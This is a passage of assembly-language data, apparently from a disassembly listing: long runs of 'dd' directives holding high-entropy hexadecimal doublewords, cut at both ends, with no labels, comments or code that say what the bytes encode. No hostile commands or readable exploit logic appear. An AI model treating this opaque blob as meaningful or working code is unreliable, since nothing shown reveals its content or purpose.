9BF4FCFFh dd 20E41521h, 2A49006Eh, 746C6A0Dh, 0FC13CC96h, 6D07F8EBh dd 0BCF30F0Ch, 0E2CFC0D0h, 0FC98A0F0h, 0B85A0707h, 0D08E9BAAh dd 7EC92D31h, 0D83EB307h, 0E5E006C6h, 51DA29Eh, 0B074E673h dd 0AAC1C086h, 0E80E224Bh, 0B795F8h, 0E6FCDC5Dh, 5AC00E23h dd 86C071BCh, 0A5742425h, 9D31B00h, 0CD5F9CB7h, 0FF850076h dd 0B88166Fh, 9B0799C2h, 8DBEE2B8h, 70C0EFB0h, 479000CAh dd 0DB6066CEh, 0EB0024D7h, 6316EC2Eh, 159703Eh, 8AC184B9h dd 9EF0784Eh, 26DF31A8h, 0BB1C7E00h, 0FC111A5Ah, 0A0C607E0h dd 0A7051710h, 3A577079h, 0AAF09F74h, 0B2B94E00h, 0E4D452BFh dd 0C14A0067h, 997B2F92h, 4706AA19h, 0BCB931EAh, 0CB0C0758h dd 0A0C02E69h, 446B48BBh, 0AD49E40Ch, 30820D6h, 0F91AE6D8h dd 783B64DDh, 11788331h, 0E89719B6h, 283E2D5h, 61625E9Bh dd 1E425155h, 0F5B38020h, 10034159h, 52F0306Ch, 19219857h dd 0B7160071h, 0E8D9A0C7h, 0B6031CA7h, 24F24393h, 232E872h dd 4A0F00ABh, 0B9801379h, 0A300F6D5h, 29938CB1h, 0CA6CCCh dd 0A5854640h, 2D9713A1h, 72B3CD03h, 0A0B2E66Eh, 73F2AA4h dd 12B92E85h, 3519A073h, 3D060FB0h, 292267C2h, 837F0020h dd 0E45E6D12h, 0C5F652A6h, 0D816EB00h, 42FE382Ch, 0C35D017Fh dd 0E5B990FCh, 0E75A30B5h, 4700EE77h, 463F0579h, 10E5DA5h dd 44F401D7h, 98EBFE53h, 0BE215108h, 800D00F7h, 5B0102DFh dd 0C50CB6B3h, 5A2D0748h, 169F09Fh, 0DF8E4DD0h, 94E73940h dd 28976EC0h, 506107Eh, 8540E227h, 0B888C859h, 0D40FEAC0h dd 455C2101h, 0F8BFC4BBh, 626C000Eh, 233DE215h, 1D02D054h dd 3E05198Ch, 1E3C4103h, 3010B456h, 3420DFF1h, 62075A69h dd 92F275E6h, 0FBA714B3h, 244CD85Ch, 9B734Fh, 526822Fh dd 20C3E47h, 0D11DEA00h, 2D66779Dh, 48F2A0h, 0F4CEA261h dd 93EDB830h, 0C10B9A1Dh, 0C25CF5C0h, 0F736956h, 0B9011C3Eh dd 47688120h, 46000C39h, 0D64D8FBBh, 3CE3BD41h, 6000F9E1h dd 0BEF11CB9h, 0DD001166h, 42BB1F7Ah, 5CAEDB0Ch, 0C400B823h dd 79A2AC44h, 48C15DE7h, 9ECC81CDh, 706A420h, 76700FA3h dd 0FF689039h, 0EF03F228h, 93B9372Dh, 0B69AE073h, 43E2056Bh dd 0EE1E15A9h, 0AB91FEC0h, 1A3B1F3Fh, 292D0046h, 44717AB3h dd 0F7B16060h, 0BE8B9Eh dd 665AD7D9h, 892572C2h, 4F885401h, 0B8F67A7Fh, 92EAFCh dd 1884F715h, 11573B22h, 2868BB00h, 4E7A23A9h, 0F1C0392h dd 30C489CDh, 2BA2B81Eh, 0EA9FFC40h, 0C4665A8h, 6667C396h dd 5B001490h, 1B2A0E04h, 0E7303F4h, 6FE72D45h, 0A5DB019Eh dd 0FC21E926h, 9800F2EBh, 0BF13FAAEh, 582D3FD6h, 5E1EB58Dh dd 37F2EC28h, 5CF3E428h, 1938FD91h, 0E24470C4h, 0F828A1F3h dd 0BE951441h, 13DD6611h, 31510007h, 506FA592h, 6A0058F7h dd 41762A0Ah, 89FA24h, 3DC7C825h, 8501E6EEh, 0B5A02F01h dd 0D6FE6A7Dh, 7078B020h, 0B62A0056h, 47954199h, 3D1D21B9h dd 0D8001D8Ah, 0F6BBDEA1h, 86193A31h, 9C847780h, 6D7CCF57h dd 0D8F76600h, 5E41CBB4h, 0EB0F00DAh, 2056F137h, 51007074h dd 0C47AE5BDh, 0B86AA2CEh, 0B9250410h, 0AB46C68Fh, 0D3B70400h dd 0EA78B1C0h, 4D5A00A9h, 274E605Bh, 960085ABh, 0E50ABFECh dd 5900761h, 2F67153Dh, 0B6CC0F44h, 0CF34B94Eh, 83BC280Fh dd 7BA0874Fh, 41E7105Eh, 881A6500h, 92334CCBh, 1C3B0099h dd 0F8B98956h, 4400E90Ch, 168F7ABh, 1DE6A025h, 0C0D040F4h dd 0F9280E62h, 6F01C2FFh, 0BE2A448Dh, 8FF4A02Bh, 0F45904E9h dd 90B829B0h, 58999B10h, 0A4BE7400h, 0D46F2107h, 0AD2C0039h dd 18B37DA6h, 6100C2C0h, 0E891AF93h, 83D9C5h, 7CB83972h dd 3B5A27Eh, 12031DB0h, 5DCD95A7h, 7136D81Fh, 0A9800A5h dd 5243E71Eh, 0C4007B6Bh, 0A9EC3DC0h, 90FB07h, 3F4EEF48h dd 74EA3B41h, 0DC79171Fh, 0F63EB543h, 382B012h, 0D0DE07D5h dd 0AE5D4C37h, 4E6593E1h, 5A50F4ABh, 9F005974h, 5509611Eh dd 3D3EDBEh, 0C4BDD538h, 2D06EC5h, 7B0EC3AAh, 806C449Ah dd 371CFAF9h, 7FD107DDh, 0A7BA28C2h, 3294507Ah, 2300C925h dd 0C0DEFD4Eh, 0F2C58Bh, 0C44FE55Ah, 781D37B1h, 2B45900h dd 176D81CBh, 1FA37AA7h, 413E3Dh, 0A5D416E0h, 0FF00EE54h dd 80914536h, 0D62495h, 467FB481h, 74ADA4CBh, 1C148648h dd 37AFACEh, 15422BE1h, 4392EAh, 2854A255h, 1C9DC31Fh dd 82AEF800h, 749B2DA5h, 557C12EDh, 0CAA00008h, 14B57A04h dd 0ACF8DB06h, 0A8AB39h, 11237CBAh, 0D8A86CD0h, 58724900h dd 0C51AEF7h, 0CD8500DEh, 68C781FAh, 760086C1h, 46142511h dd 0B46910h, 90E7A58Ch, 7FC34581h, 0ED392A00h, 0F4CD04C4h dd 750F2E9h, 594C0D73h, 906E6057h, 64E00777h, 8F009090h dd 20F172DBh, 0C532E1h, 38C35876h, 0A5BC83Ah, 94C6EE00h dd 79E870Ch, 532C0F52h, 71411A0Fh, 213037B8h, 3479607Ch dd 2D024300h, 9FE1B977h, 2FAD0023h, 659E4ADDh, 8EEE7044h dd 77000892h, 4CCED826h, 80D5C6h, 0C725DD5Fh, 8BE092FDh dd 4008EFEh, 1F247DB6h, 669307h, 0A628C5C3h, 0E1C8904Ah dd 8FCF8206h, 24C4715Bh, 8FE63h, 69F58D73h, 10001C15h dd 0A4CDB7A2h, 4BC82Dh, 0C92908C6h, 0A37A8D9Dh, 0AFE3FE03h dd 0E8715681h, 745078Ah, 48B7C124h, 0CD9B91E0h, 6DC0C8EEh dd 77A91E01h, 0A2E4C727h, 0F82D8h, 7EC40821h, 0F2CC742Dh dd 0DD006370h, 0AE406804h, 0B33ADEh, 4D6D4414h, 584B5506h dd 75A9850Bh, 0ABB002A1h, 0A830437Ch, 2C2B47B2h, 16A2D0Ah dd 2CF96EBAh, 5F2EEC87h, 377A0500h, 0FFC1E784h, 9227002Ah dd 0EE89DBCDh, 7B00E50Fh, 0DE286A62h, 40A638h, 5BB717DDh dd 6F428E20h, 0B367337Ah, 1FC36210h, 3D35C8EFh, 22FC00DEh dd 0E855CE66h, 577A284Eh, 36FAB40Fh, 917D019Eh, 7CF4EDA8h dd 15B23ADCh, 86B1F700h, 97782F5Eh, 8479A4A8h, 0C8D0AC00h dd 837BADDFh, 0ED2E253h, 0D769A402h, 0A7780A0h, 2A09F934h dd 0CF06FEh, 0BCDC8265h, 0E2550268h, 91267FAh, 0E083D090h dd 6A0338h, 0D8BFFC84h, 74A94A7Dh, 0A6403CF0h, 0F212A700h dd 3A2DCE9Dh, 70E12507h, 41F3CF9Ah, 0A5D2A0B0h, 0C6AB01C3h dd 0D7CBCC95h, 0D1870E8h, 9C6C3C0Ch, 3D66766Dh, 0C0D87916h dd 0C3EE7B00h, 3BF9D79Ah, 9DB63A13h, 652E2042h, 618F8E1Dh dd 4DCD4E5Fh, 1F8DFC30h, 5BB0C6h, 0CF1341F6h, 0AC01439Bh dd 0EE78766Bh, 0D2C10A69h, 87BFAE40h, 6E3E00D3h, 0C3565C6Fh dd 811D242Fh, 8F80D877h, 915A1839h, 864701E6h, 0FA627DBFh dd 5F44FC5Bh, 0D36D4300h, 0B068260h, 66C600E2h, 0DFBE2462h dd 7E0023AFh, 0BAB06D64h, 3A98BBh, 3EC6EF9Fh, 126AABC5h dd 2AE62500h, 13BC564Dh, 5460E7C1h, 6D2900EEh, 4BADBEC4h dd 4071EA6h, 131F3D71h, 3495DA60h, 608A3AFCh, 0B7FD5B80h dd 1A5C3B14h, 0A005AF6h, 8E1B1A7h, 38F6873h, 91C7285Dh dd 61D9B24Bh, 525CE835h, 0A10076F4h, 95721A0h, 27318Ah dd 0C2EEBD9h, 2C940F16h, 0F8004EE4h, 0DF192F81h, 3C61F61h dd 0F58A3C45h, 68909BB2h, 824D7F24h, 9CA700F0h, 0CDB62390h dd 0EE57268Dh, 0E78B0E42h, 85F50A00h, 7D0016B4h, 1BECA18h dd 3C0D3EC2h, 0FE80D187h, 46E73AF4h, 7F00B0F9h, 0E908AEEDh dd 23F203h, 934ABFC6h, 66A76260h, 757560F1h, 0AD58E000h dd 312A8CF4h, 7260F63h, 0C16E9411h, 41792902h, 81D930E0h dd 845D8703h, 0B07FA878h, 1272593Bh, 9705A1h, 0AEF4FFBDh dd 0E0008F88h, 0B0E51C0Ah, 2C999C64h, 2C4039h, 1E6AF0A4h dd 4A01C143h, 0FC8550ACh, 5E43F11h, 0DD17005Ch, 6E26F438h dd 2F001047h, 0B35ED6CCh, 4871B906h, 7AA0CEh, 0F0216F03h dd 0C5272FF2h, 1CD558h, 1D9B8607h, 121659F9h, 6D41D1h dd 0A2D95880h, 0E600A3C3h, 85DE302h, 72D56378h, 38B20071h dd 0B4CB4BBEh, 0AC1F14B1h, 104037E1h, 348EBC90h, 47AA00C5h dd 64837E61h, 5030B5FCh, 40C27909h, 0C34800E2h, 43B95ACFh dd 0BD0073D0h, 0FB47798Eh, 28B8FDh, 3DF283B1h, 976DF73Bh dd 8F1D5A7Ah, 0E3407E16h, 2F9CEB52h, 0C8D46055h, 63900ACFh dd 0F5D1F300h, 7C70CDE0h, 0C07B008Fh, 5DD00BB4h, 24000FAEh dd 79967695h, 9AC0446h, 530E7BBDh, 1D32CC82h, 0DEC38FE0h dd 24CAE701h, 0F4FA6CC0h, 347F2F0h, 0C65CE967h, 6FD0C129h dd 0B10BE237h, 875DC289h, 0B1AE7BD0h, 2D1E2501h, 2035B5E3h dd 0A15C3B10h, 4CDB0328h, 0D04222h, 6D9BEC8Ah, 0EB39F5Fh dd 0EDA19100h, 81235CC0h, 977F24h, 7D717064h, 7F748285h dd 0E900D873h, 2021FB62h, 8704E8h, 75DAEB23h, 7D6AE458h dd 3503B8E4h, 3909A7CEh, 23849066h, 2530008Bh, 5BA3C6A8h dd 9600C4E8h, 0C859B2FFh, 74AB07h, 6B6450B4h, 0C6AD971Ch dd 8E38FC7Eh, 9A4A806Ah, 0B4903C33h, 95103A7Ah, 0FB809E80h dd 1D5B89B9h, 0D1F6900h, 861058Bh, 0DD810032h, 122BC411h dd 93778E44h, 2A8AE600h, 3C879C1h, 47990027h, 66764B62h dd 8E0E52Eh, 61002A7Eh, 879E122Fh, 35BE6Bh, 0F382E0CAh dd 0AFF8A81Dh, 0F0C7E0F7h, 4F83D700h, 0F935E806h, 90490C01h dd 0B428EEF5h, 6C78751Ch, 0B9427E80h, 0F8A9AB67h, 5BE00BDh dd 73821AE3h, 0A0F4F4Eh, 8098FEFCh, 745C920Ch, 0A2480011h dd 0C24B011Bh, 5E75AEC6h, 70F9BF8h, 240A19B8h, 0D4800CFFh dd 0F44260h, 0B47B0550h, 0F523917Eh, 8A35D507h, 0EC002B36h dd 38EB8B71h, 0FA00F24Ah, 685474E4h, 630059A1h, 72739EB2h dd 0D33492h, 2E108A9Dh, 0A3F63075h, 0E170B000h, 3B9A4C77h dd 8DF0001Bh, 6D04C8A2h, 377D269Eh, 852E052Eh, 0D37DC901h dd 7D315ECFh, 35FDF0h dd 93C2BCDAh, 710A44FBh, 1C00BB48h, 18BF4A7Fh, 0C310BA09h dd 0EDFC00F8h, 75D67B25h, 98B0673Eh, 94A93B00h, 0B59EB8B9h dd 0D3792Ch, 13035FA0h, 0F9C28E11h, 0F166A800h, 37E7BDC0h dd 722D39D2h, 27FACE00h, 2F8A889Ch, 0C40026F6h, 460EB601h dd 0DBDA0Dh, 3B98C032h, 0F097E33Eh, 16C2A900h, 71AC72FAh dd 0C1E000EDh, 76F30C0Eh, 94008706h, 0CCD7934Bh, 0EC3BC7EEh dd 0F087E1Dh, 0B69962C1h, 0C9943C20h, 0AF0AD596h, 0C8D07C5Dh dd 5F9BD807h, 3044F301h, 74E54CCh, 70D601F4h, 0E06AB04Bh dd 0E70A8105h, 88C7223Ah, 9707B200h, 4B16775h, 661759D8h dd 219080D7h, 0BB003EB7h, 6849F425h, 32B3979h, 0BC51E540h dd 3D885AA7h, 4600C213h, 36B26C61h, 3ABBF58h, 0B06E95D9h dd 0DB8A8FBh, 0CC00D851h, 0FEA362B4h, 0A56A86h, 0B7CAC691h dd 4B47066Ch, 0C3222B0Fh, 0A45F22FCh, 24F4804Ch, 2465E179h dd 0E19892h, 9B53940Dh, 90797E69h, 57AEAC07h, 9110C263h dd 754C711h, 0F4BDDA67h, 0D8083666h, 6387100h, 0B9F6DFF9h dd 0A4A70095h, 624F7E8Eh, 0E90013A0h, 0BFCFBBB6h, 4C063F14h dd 0A3003C15h, 1B824EA5h, 62006B43h, 420E4D55h, 3154D7h dd 376EF4DBh, 50655BACh, 322B3500h, 10895845h, 0C55E0049h dd 411FA96Dh, 0CB483ACEh, 4B1900C0h, 803251F9h, 0F6F410h dd 3787150h, 47ACEAABh, 0A526A300h, 81941674h, 0B3DD0028h dd 219383D5h, 4401E5F5h, 41BC557Ah, 0F881C38Dh, 323FA35Dh dd 0CAE8502Ah, 6B225092h, 3CCF104Fh, 8B6900ACh, 2724C8F4h dd 3BD4026Eh, 0A525216Dh, 0B1BA7360h, 0B5503200h, 1CC87C57h dd 287B0027h, 941EB363h, 59009A91h, 0CD4F0E71h, 1F9D6BEFh dd 92CC7FA0h, 0BB34008Fh, 951E77CEh, 24F01801h, 0EFD81C68h dd 6058F940h, 9FC9242Bh, 7C5B00A8h, 12D5D056h, 75A17100h dd 0A496E5F8h, 0EDA0061h, 9B3404E3h, 0EE000A99h, 1DAFF637h dd 458273h, 6E3205F5h, 4FC6E427h, 3B0DDE00h, 0FD7BCFBFh dd 1CEB5922h, 0B4C58300h, 0F7E2F9DFh, 6C6212B0h, 6871B636h dd 759EB140h, 96040F16h, 0A3600A65h, 6FF06C7Bh, 7A4FB00h dd 0C51C4283h, 5269005Fh, 0F94AECEEh, 65019131h, 1558CB0Dh dd 0C06E0440h, 3864571h, 22FE4400h, 0FB34C285h, 0D1EE26EAh dd 0EBA8014h, 7B0246E8h, 0F400F3FCh, 63DBCC70h, 7E6D1520h dd 0B41D13E5h, 930000Dh, 0F4567BDFh, 110738F0h, 0C6B624AEh dd 92268401h, 137E2DE4h, 6198ECh, 102AF9DEh, 593D5CBEh dd 90B980D8h, 0D1072F0Ah, 6785028Ch, 6281A147h, 0B7AAB063h dd 331E8480h, 9F001F45h, 137B0C66h, 0F079E34h, 3CEEADD6h dd 0FEA74720h, 0A41CA662h, 99CFC422h, 0DBD140C9h, 0B99369h dd 90F5EF3Ch, 0DD120BA5h, 8B17200h, 6D43F131h, 0A9C4034Ah dd 6E1A0FE5h, 13233007h, 6856728Bh, 0FBDD0710h, 27503017h dd 0C17CD5F7h, 40133B2Ch, 0FD34B4E4h, 61106C00h, 5684F9ABh dd 3C6F0E47h, 884212A3h, 0DF41BE1Dh, 948BCC28h, 7FADAF1Eh dd 0A1809D4Fh, 341EBD64h, 8E9FC8h, 23AC43E6h, 0C0D32E1Ah dd 257E60C1h, 58D3AE12h, 0D00F470h, 0B5347E0h, 8272ACF5h dd 620129D6h, 77F18FCDh, 18F9B834h, 20DDA3E5h, 0CC0EA46Fh dd 81DB2698h, 7964CF6Ch, 3B25F0h, 50363AD7h, 86AEB6F8h dd 0C9C33100h, 95F20E9Eh, 1DCE69Ch, 0CCB72652h, 81F4A122h dd 88CE6610h, 0F7E0D20Bh, 31F600C8h, 725D2697h, 5A01E853h dd 0ECFC76D7h, 0BF8B377h, 0B22D00E2h, 441E11B1h, 8A09B867h dd 80DE9F62h, 0ED7AF666h, 0B545006Eh, 0ED75908h, 9400C569h dd 0B4E89324h, 1F05B0h, 4C7260C6h, 0AA03E5C4h, 4E9FB100h dd 0C1011ACh, 43FA035Fh, 1D422BCBh, 0D0B07890h, 9185AE0Eh dd 8F425F58h, 8311CC0Ch, 0F008EEA8h, 0FECEF34h, 0A451F243h dd 7F6A76E0h, 0AD540F88h, 960094BCh, 334663E3h, 66317812h dd 49C00832h, 0E500AFE2h, 0D0090825h, 0F093DBh, 7EB16335h dd 4782796Ah, 38D4BF54h, 93EDE105h, 22C56629h, 0A28F1E83h dd 725CE8F4h, 0EFEE002Fh, 0B06D3A92h, 7D19424Ah, 0D8218FC8h dd 16C5ADF5h, 99D40840h, 2400903Ch, 18445364h, 0B31C086Ch dd 803920C3h, 23A2983Ch, 166E14E8h, 48005CC1h, 0F6888BEAh dd 9C05E241h, 5736393Dh, 0C18278C7h, 304426h, 0AB5EB860h dd 45AD1F12h, 1870D737h, 9FEA2690h, 0D5930117h, 0F73FA1Bh dd 0A264EC6Fh, 0AD91B8C2h, 9A5890C4h, 0EC8E393Ch, 21A031C6h dd 0B8F4813Ah, 0E7AE0F95h, 0C781383Fh, 0F8F0F28Fh, 0CD901A10h dd 0B4F7A00h, 2157A27Fh, 0BBE400CDh, 0E1883685h, 0C1FCBAA3h dd 8392C500h, 5F3E3F2Ch, 57D205CBh, 80D8FE9Dh, 0EE379EAh dd 34005976h, 48D7C491h, 11AF055h, 2DAF284Ah, 2098BDA5h dd 0C4FA4042h, 0EA05580Eh, 685D209Eh, 1EF088FAh, 7A5439h dd 0A5B776E4h, 56075A49h, 41265115h, 3D75EE80h, 0E8390007h dd 77054B3Fh, 29CFA484h, 723031h, 733A5FA3h, 3BFDC1EDh dd 646B7F00h, 67C9A089h, 6E4418F6h, 0CAE84E87h, 0C852CC00h dd 0E97A217Dh, 0FB748Bh, 0B4266CD3h, 0C6537539h, 3D076179h dd 0CACF5610h, 0BF91C590h, 5BFD03F9h, 98A6438Fh, 1C4A87h dd 47A534Fh, 0C0003EE1h, 5CD00734h, 4A938Ch, 0A6B72B72h dd 0C9811B6Bh, 9A450801h, 69CD1364h, 9F3180D7h, 0F4EA00DCh dd 19C8B27Ch, 2506A2Ah, 6B055E98h, 0DB351685h, 0F337EF80h dd 7E07002Eh, 98A40E21h, 0B907D324h, 7305E6C7h, 0A7F15970h dd 0D64D0069h, 0DF49144Ch, 510E048Ch, 806577BAh, 0A9D4B848h dd 0EE110003h, 0C1458DB7h, 0BC007A87h, 0B131FBFCh, 757C5DAh dd 0FE04487Eh, 0C8AA50FDh, 3700D182h, 253E162Bh, 70E2D8h dd 869675E3h, 55E12ACDh, 7E5FC300h, 0B15CC5E5h, 2FFC00F3h dd 0DC42EB17h, 0D407D74Dh, 499E30BBh, 0EF80B387h, 1188509h dd 41A5276Ch, 209F6893h, 0A4003614h, 0C97D7573h, 9AB8B6h dd 4A46FAA9h, 8430BEC6h, 1B8EFCA0h, 14BA172Eh, 0A1D9B300h dd 1CFC0CC4h, 73A563h, 8D821D7h, 0DD00CB29h, 50EAF88h dd 74F8E664h, 0E2860087h, 14D63603h, 0EE1E5DD8h, 4C40261Bh dd 982B897Fh, 260AE6E8h, 49B14Dh, 12DA44D4h, 9C00662Eh dd 0B7290453h, 0B3D98Bh, 0EC8539B2h, 0B16BE0EEh, 70608724h dd 5B00773Ah, 0FB2D32D9h, 2488Bh, 0FFF664B7h, 0BE50AC9Dh dd 7F787098h, 0E7906907h, 0C0305C03h, 804124h, 2A0B25E4h dd 0E18C6ACAh, 99ACAF00h, 0AE590197h, 0CC3E005Fh, 66458E5Eh dd 0F50372C5h, 4285633Ah, 9DA15075h, 6EF000B5h, 2E276DE1h dd 0A038DAF2h, 0EBE4008Fh, 51433ED8h, 0CFAA0F1Ah, 36008B01h dd 6DF06185h, 0B049D600h, 0ADBC6C7Eh, 2507CD4h, 0C0C5605Dh dd 9040F12Ah, 0C10718FAh, 0F3FF0702h, 858023C4h, 2AD50Eh dd 55EC6860h, 94F76BE2h, 91227000h, 9080092Dh, 975B0008h dd 110C136Dh, 85007776h, 0B3D4D92Fh, 9B72Eh, 72C4CC71h dd 7706CB99h, 0AC621028h, 2D013A00h, 1627D5E3h, 69EE0083h dd 0A5D4E922h, 88008F6Dh, 0A3BD809h, 0EED8047h, 0BFD9FBFDh dd 0EAE5E7h, 8FC072C8h, 0B72F6500h, 1E59366Bh, 9D300024h dd 41A9AE73h, 1F1F9B3Ch, 0C0C1218Ch, 6D9303ADh, 58811C30h dd 3B260688h, 1384856Ch, 0C7885EBFh, 0F0F795ADh, 0A4FF3AE8h dd 470E3Bh, 256C8DBBh, 0E8ECC18Ch, 1777DAh, 0CEA22669h dd 0D21A9002h, 9C5DF000h dd 16970AE2h, 3C8BF8CDh, 0D1006DE3h, 9FD2E486h, 0E500D4F6h dd 0CDE0D50Ch, 1DEC64DCh, 2AA58C3h, 877FB854h, 5702BF80h dd 2A032B01h, 0A74CE012h, 3B9FA07Ch, 35B0031h, 2163A6C9h dd 8B0077B9h, 0FEBC926Fh, 70258Ch, 0A5203248h, 0A4C78360h dd 0E1632E00h, 12A03C5h, 0B68C2617h, 0CC12F5h, 3072DC51h dd 0D700567Fh, 317368EAh, 12055A7h, 80B5A69Bh, 0F13308C0h dd 504480A8h, 1B75E50Fh, 5307006Ch, 516BD0D3h, 5CEEF465h dd 1E164303h, 0F02CCEE9h, 0E896CA52h, 0E3EF0031h, 12D29B61h dd 3800DB0Ah, 0D84C1377h, 7D9CB8E0h, 0AD3C1DACh, 0F489C307h dd 50BFEBCBh, 2EB69ED0h, 0FB522C00h, 1792CA55h, 610D00DEh dd 2489681Eh, 63B83B10h, 43D4FD00h, 0F0EE63F5h, 0C4D50041h dd 0CAEAF320h, 1600EDFFh, 0A91C1348h, 0E929E3h, 0C478C89h dd 0E64C67DDh, 54D4617h, 3159700h, 19AC13Dh, 7D2E1E63h dd 0D4EF7EAEh, 4B00B2F7h, 0A58C5A97h, 33A61Ah, 169E96DDh dd 64D4514Ch, 6323B01h, 8173A179h, 2C54CBECh, 3E1FBA5Bh dd 0A712E000h, 2AF9B3C2h, 447F6E00h, 50399FEDh, 483AFABBh dd 2F00FFBFh, 2BB4AC4Dh, 7D983B51h, 0EF17E803h, 0A042C9DBh dd 1C1CD1DAh, 9FE00B1Dh, 50C20EBDh, 0B9F17D00h, 0AE001B8Fh dd 26608C8Ah, 16A057h, 7701803Ch, 0D925303Eh, 80E06E3Ah dd 86946DA8h, 0A4A3DFh, 0A2F06A27h, 0ED5B2289h, 510FC878h dd 200B9C32h, 90BC45E1h, 0BF2C0011h, 0DEE54B0Ch, 0D6007119h dd 0AB3F315Fh, 1F6F30h, 33073E38h, 294FCE10h, 8000DCE0h dd 69DE24Ch, 3412F15h, 0ABB3189Eh, 0AF9F3EA6h, 5E8BB4E1h dd 0C7ADEC3Ah, 0C628361Dh, 0F8A5F387h, 6E385DD1h, 0A2932881h dd 602EDD92h, 6002D6Dh, 60E21FC5h, 0F785EEh, 0DE362466h dd 0C0E81C48h, 4E35A304h, 5480A6B6h, 194AD87h, 5C8453A4h dd 20E88A51h, 50EA31CCh, 0C97CF3FCh, 2409AB90h, 3D1CFFBh dd 0B1FDB398h, 96D5F014h, 24F31082h, 0A8486C7Dh, 791FC5EAh dd 3ABAE7FFh, 3B520A22h, 0F006107Eh, 39988Ah, 0F9CFC2CEh dd 0FFC92ACCh, 0DDAE6607h, 5FD9407Fh, 0F0D44400h, 2407AFB4h dd 33A4A1ADh, 0AEAC83h, 0EA6AC711h, 0A97079A5h, 3EC8CF00h dd 0BF344C42h, 0CED50E6h, 0CCB605A6h, 0ABB27FBh, 5850E644h dd 9601B2EEh, 0B1F1C766h, 93EDDDDEh, 4DE87ED1h, 0A9B400F9h dd 0E1981E5Ah, 0AE00D647h, 81D1DDB0h, 1FDC4F92h, 94596ACh dd 580117F4h, 0E8EC559Bh, 0E7012AE4h, 4E631E71h, 503077D7h dd 77F17BB7h, 0BDB60022h, 0AF47E05Eh, 0C93D288Fh, 80E40011h dd 0FDA0B7C3h, 0EAE2287Bh, 73100E54h, 3540A237h, 38B14259h dd 418170Ah, 1D85D4CEh, 8806902h, 1F8FAB41h, 40260336h dd 0EC9BA5B9h, 1709508Eh, 0F27088h, 45272DC4h, 3C860F0Ch dd 3020EC82h, 0EFB8E6DCh, 0DCB88E5Bh, 97E22800h, 198B8964h dd 734A9918h, 5C9E7591h, 0FF01203Eh, 463A29C7h, 5CC0DCE3h dd 1E5B238h, 5E42409h, 0D330F825h, 12CE075Fh, 0E0E6551Eh dd 0E016C10Ah, 48313C00h, 0EE5233F5h, 9E28004Ch, 8570DECAh dd 8492C49Fh, 0AC5F4A1Ch, 47A42464h, 58518800h, 6F506842h dd 0C580D043h, 0E363D4Bh, 0AE8E5A05h, 0EF00E57Fh, 91585510h dd 14D101A4h, 80B002DCh, 5E4DC8ABh, 1C0434EEh, 0BA6B603Ah dd 0E33842C0h, 0B8FA73h, 0DA62D904h, 0BCD77581h, 0C3DBAF07h dd 6B46C92Ch, 0ADB021h, 0DA501A80h, 2A4B7996h, 0DF2B8E07h dd 34B7B5F8h, 5F5069C7h, 0FB9B3C5h, 0DF2B145h, 0F122E36Dh dd 42DBDC2Ch, 12D9D51Ch, 0BAB1BB87h, 0BFF061CDh, 36B73995h dd 2CD59F03h, 20017E22h, 3C460B56h, 288005EEh, 0A1160C18h dd 31265537h, 361D5660h, 23213D18h, 0F3161EC4h, 0D00FF938h dd 0A5404555h, 42D7EA29h, 2C5270C1h, 6080B772h, 85C7DC91h dd 0F7031D75h, 2E5199E9h, 86993871h, 63034280h, 8DA77877h dd 0CAB1C600h, 4C27651h, 0AC0A2A87h, 1F546A8h, 0B9438050h dd 480CC92Ch, 688288h, 0D580880h, 0F389403Ah, 45D52201h dd 64FC1A92h, 15EADCh, 59E5C613h, 3A019AFDh, 922B0E00h dd 1EDA1B79h, 0FCA21CC2h, 0A500FF4Ah, 171A9EDFh, 7E01CA96h dd 0D82776B5h, 0B2F8B7C1h, 0F5500B1h, 3F6241Ah, 6B75A3D6h dd 3FFF6800h, 52BF9875h, 57E28Eh, 355F43Dh, 561944A0h dd 0D58BF200h, 7ADD9195h, 61CC00D6h, 3A79973h, 0DF3ED448h dd 0F5882C8Ch, 0B780811Dh, 3ACE9BC5h, 0AA250136h, 62754987h dd 0FD2CD0F1h, 0A8882A01h, 282D673Dh, 798F70D4h, 53413129h dd 0ECBE1920h, 38070626h, 0C38861DFh, 7945F220h, 9B60316h dd 0C689E29Bh, 11355000h, 696C08FEh, 0A9213965h, 33770F80h dd 9DFF049Ch, 0EBCC7A00h, 20866C81h, 0BB1003F2h, 93073C2Dh dd 0A9CAFDA0h, 486B9000h, 0F365C15h, 4D423ACEh, 0CA907D30h dd 0A1003A8Eh, 43ADBDDCh, 0F82336C1h, 283F64Ah, 672256Dh dd 0AF00F746h, 33E1FEC5h, 1D10CAFAh, 198F0FD8h, 2A56B00h dd 3AFE9F1h, 0CC21C0F0h, 1A600F2Eh, 0C21BF401h, 18E84457h dd 98A8A2h, 0BA8AEFCAh, 63924EBh, 4AEDC400h, 0B8DAE6ADh dd 495B0688h, 30C594E1h, 0A2E7540Fh, 23FA6EDDh, 0E0466590h dd 0B2E1721h, 58AD4B50h, 4038EC83h, 0F48A62E0h, 0FC44FA18h dd 14B9F48h, 0B74C1C2Ch, 0EBD7D056h, 8000FC7Fh, 53A27465h dd 983EFF8Fh, 1EEA007Ch, 2F77D1C8h, 4A0307DCh, 61F92A7Bh dd 96F0E036h, 0FAFC3EE8h, 648059B9h, 4B3AEE51h, 0E0E60E69h dd 0CFA75B01h, 0F8299A45h, 307EAF40h, 84971EB5h, 1BB04B7h dd 5A568022h, 36002A81h, 475B0306h, 33DD70h, 5FED8E43h dd 93B4257Fh, 5A153B00h, 0BFAD19F0h, 0F6B80084h, 664AA296h dd 0CF037730h, 4F494156h, 3BA00174h, 8E5EE0A5h, 96208087h dd 0B5380734h, 0E87711h, 0E370AA04h, 0F5374D1Ah, 2CDDEE07h dd 0A98E6055h, 0D980FDDCh, 0E4CC3291h, 728BEFFh, 5EA63CB4h dd 2AB10DC0h, 0F40C009Bh, 0CF6AE29Eh, 7A1EA859h, 0BF40A118h dd 61C5C772h, 775D006Bh, 56922E7Eh, 0CC00B4EAh, 0CB446202h dd 8D3DC4h, 4F532C26h, 0C832B8ECh, 3685F21Fh, 428443C1h dd 40EC5530h, 11D7828h, 1E3F6F74h, 80C86946h, 3EC35D58h dd 6E4BB1h, 26868599h, 2DB24A23h, 0E00AD90Eh, 3D28F8B9h dd 6CA700FDh, 0CA36FA22h, 51C0754Eh, 114564ACh, 33067407h dd 9D304BD1h, 0CFC023C8h, 0CE864100h, 573AD88Ah, 3A0FEE67h dd 74876E9Fh, 605185DDh, 117C9C71h, 163BE000h, 0BF210199h dd 8ADE0013h, 9F1D74A1h, 5D00032Fh, 516677B0h, 3FD752CCh dd 71B0F2E0h, 0B3551520h, 0CA5FA000h, 